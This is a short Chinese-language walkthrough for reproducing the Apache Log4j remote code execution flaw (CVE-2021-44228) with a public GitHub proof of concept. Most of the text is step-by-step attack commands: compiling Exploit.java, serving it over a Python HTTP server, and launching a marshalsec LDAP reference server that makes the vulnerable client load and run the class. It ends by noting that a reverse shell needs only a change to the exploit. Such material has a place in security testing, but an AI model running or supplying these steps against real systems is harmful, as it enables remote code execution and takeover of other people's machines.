首先我们要理解漏洞产生的原因,我们构造的payload在LDAP客户端(存在漏洞的机器)执行,payload地址为LDAP服务端,LDAP服务端从HTTP服务器加载恶意文件。(验证的话,payload直接为DNS服务器即可)
以github上项目为例:GitHub - tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce: Apache Log4j 远程代码执行
一、编译exp,并放置在HTTP服务器,等待LDAP服务器来下载
git clone https://github.com/tangxiaofeng7/apache-log4j-poc.git
cd apache-log4j-poc/src/main/java
javac Exploit.java
python -m SimpleHTTPServer 8888 (python3为:python -m http.server 8888)
二、启动LDAP服务端,访问HTTP服务器下载exp。等待LDAP客户端来连接
cd tools
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
监听在1389端口,可自定义修改为任意端口(命令后加端口号即可)
三、LDAP客户端(受害者)执行payload,连接LDAP服务器,执行恶意代码
apache-log4j-poc/src/main/java/log4j.java
ps:
反弹shell修改exp即可: